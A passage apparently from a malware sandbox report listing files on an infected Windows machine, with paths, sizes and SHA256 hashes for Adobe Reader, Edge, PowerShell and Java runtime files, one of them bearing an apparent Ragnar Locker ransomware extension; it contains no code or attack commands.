                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js
                                                                                              • Size 8KB
                                                                                              • SHA256 978ae2b294c20d267b25e78b2797573809100e191284affe7f802aaf3bc56abe
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-sl\ui-strings.js
                                                                                              • Size 4KB
                                                                                              • SHA256 666ff5a2017f781e320a56e3d65a9714e01b2adca36796109b01d1a5a9129f57
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\root\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 a43dc9460d7ca6e3eae1c362a853f05a76ca1eed87ff0f7a33d8ebefcd756c9c
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              bun.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\bun.png
                                                                                              • Size 3KB
                                                                                              • SHA256 8f01d9f1a84f62f1e5952db9980a05cb33a08e1a73a5f6179eb69e737d2e3cb4
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              cstm_brand_preview.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview.png
                                                                                              • Size 2KB
                                                                                              • SHA256 1ba51776f1a3b7960a311f7e7cd945107bf98473c9079e5cf7b4e26285f208e7
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              cstm_brand_preview2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview2x.png
                                                                                              • Size 5KB
                                                                                              • SHA256 51dd73a6e6af9b6cb2da888cfa2740a0d45e95d463b56aa91b1026c1344af042
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              dd_arrow_small.png.ragnar_7AAB8A15
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small.png.ragnar_7AAB8A15
                                                                                              • Size 810B
                                                                                              • SHA256 0eef502d8348463f5aed68194f86bad86da38cc5110680fe9f19dd5385032095
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              dd_arrow_small2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small2x.png
                                                                                              • Size 906B
                                                                                              • SHA256 f2a6fd4787bdb536efc28cad56632a9302401831412e737f88176032c9881795
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              illustrations.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\illustrations.png
                                                                                              • Size 4KB
                                                                                              • SHA256 4ab079a5965e0508f99f385ace3a811f24495618d6c4c82d199fef1297a20e71
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              nub.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\nub.png
                                                                                              • Size 1KB
                                                                                              • SHA256 d27fec000c1f07a127ef184be75e34cb9e58057c558d9fbd7a6e1253d2fdf451
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_filter_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_filter_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 472328ed09d13f91dfee8ad66197f1c2a9064fcbd766abb09c607faa7f269ed5
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_listview_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_listview_18.svg
                                                                                              • Size 2KB
                                                                                              • SHA256 449511df96c3e529af24c8591f72881c44fc8a367f5141ea29113df5da0d9355
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_opencarat_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_opencarat_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 77d61ba07c6e0d92d2495aa763a5b91a1a6e4be1cc71c099a22a6e6a34230be9
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              s_thumbnailview_18.svg
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_thumbnailview_18.svg
                                                                                              • Size 1KB
                                                                                              • SHA256 118cd715aa45708d0305d1b6dbf86f547d2a27c928fd6af62a540d700c0657de
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              share_icons.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons.png
                                                                                              • Size 1KB
                                                                                              • SHA256 12b77b734ab1c3fef70a33d1e46246bf256f493942819c6cb80b250f4e519251
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              share_icons2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\share_icons2x.png
                                                                                              • Size 3KB
                                                                                              • SHA256 0bad323a53677021304980b0d2c2a6bc5cae3f109590440f23bec6a69a3f3316
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\root\ui-strings.js
                                                                                              • Size 14KB
                                                                                              • SHA256 77196e6d4e2b8f9815cba3c5f9f20e83fdd1438974737bc1d8dcac228939868e
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              adobe_spinner.gif
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adobe_spinner.gif
                                                                                              • Size 1KB
                                                                                              • SHA256 b827e13f43f8cb0da58460a949aa9607c4e12036023cedda51eca47bfa36348e
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              adc_logo.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adc_logo.png
                                                                                              • Size 4KB
                                                                                              • SHA256 b207bf5faa9d06d467f986788111f239731564e9adaf69e52dfeb7e2dce7ba78
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              logo_retina.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png
                                                                                              • Size 7KB
                                                                                              • SHA256 82a030d838a73e919375c33028789bd7c266bf359be6c241245fc37f02b550fc
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              sat_logo.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo.png
                                                                                              • Size 1KB
                                                                                              • SHA256 856bb643224cc96a93220219fdd61bc90d16bf59bbe45b53b2c76c654b307e3c
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              sat_logo_2x.png
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo_2x.png
                                                                                              • Size 2KB
                                                                                              • SHA256 c28b9805a82042fe1919ebf7fd88561bfd62ceeb538d1df4a1b6091abffb8024
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\ui-strings.js
                                                                                              • Size 10KB
                                                                                              • SHA256 c133afc9b4a1aa5617f8970463fb93359398c5a2669c1cfa1d9fa26e3bb75309
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js
                                                                                              • Size 14KB
                                                                                              • SHA256 b98784f1f8118b6c357a58d837f6f6bb5e2783ebfa103b66ac58b3b9908c60b5
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 9421191816fa486674807eb168b55c3cad5cafa8c2009224203463353ffa8709
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\root\ui-strings.js
                                                                                              • Size 18KB
                                                                                              • SHA256 cb896af4d03209a882f711dc0a5bda9314b8852c694ebc619907ebfc18e0132d
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 14231746a50b989b67cc3a37fae9cd01c295fbf3639fbaf2f26c2dbd6c15da30
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\he-il\ui-strings.js
                                                                                              • Size 1KB
                                                                                              • SHA256 fffc22b1b4193a1b632cb5f1bbd9d83a343a4668abd99f4a454b2bf09152c158
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ui-strings.js
                                                                                              • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\root\ui-strings.js
                                                                                              • Size 2KB
                                                                                              • SHA256 c2d3cacba228d9d9bd769237839d5c161b2981d70498a9fb7cd4b836a10d6746
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              DisplayLanguageNames.en_GB_EURO.txt
                                                                                              • Path C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
                                                                                              • Size 33KB
                                                                                              • SHA256 1a1b3a3cf3beab6e0b28754b390b0d0df4b57ff293b85ede3d16b7974b0115ed
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              identity_helper.Sparse.Internal.msix.DATA
                                                                                              • Path C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Internal.msix.DATA
                                                                                              • Size 55KB
                                                                                              • SHA256 2efbc7ae6a8bc3b5db442eb9d8add724e3329db710417449e8a31c3239c32e92
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              notification_helper.exe.manifest
                                                                                              • Path C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\notification_helper.exe.manifest
                                                                                              • Size 1KB
                                                                                              • SHA256 96aa8ac52c84657662213474ab5c3ec84eb7f13cdc026ddbaa38a957fc78f09b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\de-DE\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 2KB
                                                                                              • SHA256 3bdca752b84a707a02822b944e8c2002eda7165a1d42f31e563bf5ef9cb99a2b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\en-US\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 2KB
                                                                                              • SHA256 410bcccbae5ace2837a3f3494204e1cc07f965b2d37c5ebd37ad1fb0266fd1d5
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\es-ES\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 2KB
                                                                                              • SHA256 8e3986e7c667b305bafb75de358524f14709755634abff8f75db9f46e2ab344f
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\fr-FR\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 2KB
                                                                                              • SHA256 747c1ed8f52a7136709181a7169ddd500e0f448ea7afc126e3150896bdf8b2bd
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\it-IT\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 2KB
                                                                                              • SHA256 b9c0e2b58ba1a4c997b5b1647f1a5a60b484ace6ba3f850b99559b83bab3dace
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\ja-JP\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 1KB
                                                                                              • SHA256 6ae305c3123a7f87ec6657614921b835d103de0c8e199d73119b256ba131f6ff
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              MSFT_PackageManagement.schema.mfl
                                                                                              • Path C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\uk-UA\MSFT_PackageManagement.schema.mfl
                                                                                              • Size 2KB
                                                                                              • SHA256 0a55b37874c12185049e1928d57519d85ac129653d9b3ea7ac9dbb5abe0d61e5
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              win32_LinkNoDrop32x32.gif
                                                                                              • Path C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif
                                                                                              • Size 674B
                                                                                              • SHA256 4b626a814850c9a9c7c097a22cab21e2119771077a7ce702a5a03eb59cb1b028
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              COPYRIGHT
                                                                                              • Path C:\Program Files\Java\jre-1.8\COPYRIGHT
                                                                                              • Size 3KB
                                                                                              • SHA256 aab9e5881015f90453d1c326f92a9cf51236075b15dd60ab5af5368c2cfe4b71
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              LICENSE
                                                                                              • Path C:\Program Files\Java\jre-1.8\LICENSE
                                                                                              • Size 565B
                                                                                              • SHA256 4f06a7907001a6db6eac4520d0cda96769194c1bac5b27ea1c5022b8cdc38592
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              THIRDPARTYLICENSEREADME-JAVAFX.txt
                                                                                              • Path C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt
                                                                                              • Size 711B
                                                                                              • SHA256 07b150ff073c316c827f1951cb6bce83c38681229b7faec06f3456d23fb495fa
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              THIRDPARTYLICENSEREADME.txt
                                                                                              • Path C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt
                                                                                              • Size 711B
                                                                                              • SHA256 3e42518823c8bc8035bbca592dead73915cfe498c5c0988ad606e6f6f8f0f7d6
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              directshow.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md
                                                                                              • Size 1KB
                                                                                              • SHA256 9965031518fdc7de3c4b7772b4f2b41def16c090ba9c6e6a50c2d8b3ee4e724b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              glib.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\glib.md
                                                                                              • Size 32KB
                                                                                              • SHA256 c47bbac0b06b48b30e46c7e56e56369ba068967075a74f385907e14635bde903
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              gstreamer.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md
                                                                                              • Size 34KB
                                                                                              • SHA256 b65cd04a066cf9123addbf02208fe4ca1834f7926c4f86b994ec81ac86c58f26
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              icu_web.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md
                                                                                              • Size 24KB
                                                                                              • SHA256 a2acf9bc557aa721de5f45f721bffb8d9919edca608a7a3c08a19c1b7fceca66
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              jpeg_fx.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md
                                                                                              • Size 2KB
                                                                                              • SHA256 816fd1871f16ec53623685814249dd75ac229bddbe0285af8657d93eb72d5c76
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              libffi.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\libffi.md
                                                                                              • Size 1KB
                                                                                              • SHA256 518fff44057b56b3ece3652f1daba5ca39945e9e976b1e1000b5d0244a373946
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              libxml2.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\libxml2.md
                                                                                              • Size 3KB
                                                                                              • SHA256 6c40a3689adfd45357886426e81e0e74c858a11699c7e2f80af15318f38a876a
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              libxslt.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\libxslt.md
                                                                                              • Size 3KB
                                                                                              • SHA256 e11e4616ac67ecac753eb50ed437e8ae93fb7fb5de2689fcabecd076a2f4ca1b
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              mesa3d.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\mesa3d.md
                                                                                              • Size 6KB
                                                                                              • SHA256 d8a5fd2a7688eee57f21ce8e81d6678dd9958e31315424a297801f66c14d657d
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              public_suffix.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\public_suffix.md
                                                                                              • Size 17KB
                                                                                              • SHA256 e556ae03a6595c46089d0fa7dc1a1bbbb867f0010166a152f48d66854df571ae
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              webkit.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md
                                                                                              • Size 320KB
                                                                                              • SHA256 54a5267ee0adf00806e28d37d48646f9bb2a9bef29efa5315d593e62cf7e94bf
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              asm.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\asm.md
                                                                                              • Size 2KB
                                                                                              • SHA256 35f3ce015cfd13c7e54b3e8d21bbe64622c2a25695dafe4d6a6b6c7a2d2dfc77
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              bcel.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md
                                                                                              • Size 11KB
                                                                                              • SHA256 290b1b2f2b1a9a79df1bb49bfc7ae5c4f59c9db34445041f7699c2c480dad690
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              cldr.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\cldr.md
                                                                                              • Size 3KB
                                                                                              • SHA256 b9d4beeb6ce9022078df1ef99244229676dd96f3e7747a3402fae0c6ae20bbd8
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              colorimaging.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md
                                                                                              • Size 683B
                                                                                              • SHA256 f1aacc56dcbb3920653ff13ffc189a11fa5dbd3e1bd5187c7c14a5646d7c3035
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              cryptix.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md
                                                                                              • Size 1KB
                                                                                              • SHA256 858975c5fd40fff629eac127f2a15ceed04bc300dd3a817788fafdfb0245a20a
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              dom.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\dom.md
                                                                                              • Size 4KB
                                                                                              • SHA256 a15aec1e3a0a3218bdca6f974839d44d30a0eb5388b33073179361956b7b4b54
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              dynalink.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\dynalink.md
                                                                                              • Size 1KB
                                                                                              • SHA256 3296b79f71f5b582dfadb6aa858c7859d6ca3601a54b2924b6b9ee12b4f5581f
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              ecc.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\ecc.md
                                                                                              • Size 29KB
                                                                                              • SHA256 a585b03b6ea5fb3813c0994b989cb1080318f10f04af49213f52354131e2726b
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              freebxml.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\freebxml.md
                                                                                              • Size 3KB
                                                                                              • SHA256 57e8ecebb5f4d97d6ac3fcfff980d62b4159224e1f3d4381d10f02aabe16eb91
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              giflib.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\giflib.md
                                                                                              • Size 1KB
                                                                                              • SHA256 cf637cef978a7df5ed9387c31f7797c019a38147bf09f1abaf93cccafb65f0a4
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              icu.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\icu.md
                                                                                              • Size 3KB
                                                                                              • SHA256 12cbfcdb5a09f7e7033340025cf39109dcd0a3e89ba20f0486f61138d9f308fc
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              jcup.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\jcup.md
                                                                                              • Size 1KB
                                                                                              • SHA256 d694fd2d8eb2302402dac276f54764a3fccccf4df0a7c86c865d2bf80714ae26
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              joni.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\joni.md
                                                                                              • Size 1KB
                                                                                              • SHA256 769aa6b01ac270db3f0603ab5428aa34d9f371e3ae30633a87a797265f3214bf
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              jopt-simple.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\jopt-simple.md
                                                                                              • Size 1KB
                                                                                              • SHA256 630f0dfbe2d9eddca513e7e6027713a12a17b8c97a4675fa29c2892f5ef861ba
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              jpeg.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\jpeg.md
                                                                                              • Size 4KB
                                                                                              • SHA256 a96608a5b09bb750b247af897cbba5931ffdde0b0f8a93d9c005709c821163d0
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              lcms.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md
                                                                                              • Size 3KB
                                                                                              • SHA256 c3c3c74b418a2d3002f9b72133e1fb5ee4c990e494fa1bc37e0a1c395e78b043
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              libpng.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md
                                                                                              • Size 7KB
                                                                                              • SHA256 59b94759ef7ad70a58f0332918ef9ea8716ae5d4d0ab26aef8f7be29245be233
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              mesa3d.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\mesa3d.md
                                                                                              • Size 6KB
                                                                                              • SHA256 01866eea3af6768dc3dce436a3082eb010a7003a89b43dd350cd5065a3585a94
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              pkcs11cryptotoken.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md
                                                                                              • Size 4KB
                                                                                              • SHA256 a988b0370ac23532c0ea2995790c9bfda3742d3c964ae0f7ec7dd8ebe650cb12
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              pkcs11wrapper.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11wrapper.md
                                                                                              • Size 2KB
                                                                                              • SHA256 5346ba3eafe1cead44311b44c2f948c3354ea5d9864d8a0931e3f533596a5cbb
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              relaxngcc.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\relaxngcc.md
                                                                                              • Size 2KB
                                                                                              • SHA256 07cfc85521917addd49bc4d17128f948896eb8170527e051943b4409cdea2f49
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              relaxngdatatype.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md
                                                                                              • Size 2KB
                                                                                              • SHA256 6f2a34f10db5aaa1299a4888e3282f7cc03fe99f5bf343d249ca5ec82ade860a
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              relaxngom.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\relaxngom.md
                                                                                              • Size 1KB
                                                                                              • SHA256 b414b913e2e33ad57943398d355ab03f844612cb9df87fe5d2ec632d1139e288
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              santuario.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\santuario.md
                                                                                              • Size 12KB
                                                                                              • SHA256 89d4fdcb9c81b517908eae4da010037f1c7e81e0f7e6679c13ed04b0096b1653
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              thaidict.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\thaidict.md
                                                                                              • Size 1KB
                                                                                              • SHA256 e41edffbdf8e009797703e3a3b0599190c75fe02bbadbb6d7673baa332da2c58
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              unicode.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md
                                                                                              • Size 2KB
                                                                                              • SHA256 e4661c1776173b349e895816d522b1a29f02c8434ff84ed480d571532b050ba9
                                                                                              • MD5 SHA1 SHA512
                                                                                              Submit Download

                                                                                              xalan.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\xalan.md
                                                                                              • Size 12KB
                                                                                              • SHA256 0f24108f6819834cc7cd680c950e07b60873e56a9a8462425faf84130745e903
                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                              Submit Download

                                                                                              xerces.md
                                                                                              • Path C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md
                                                                                              • Size 12KB
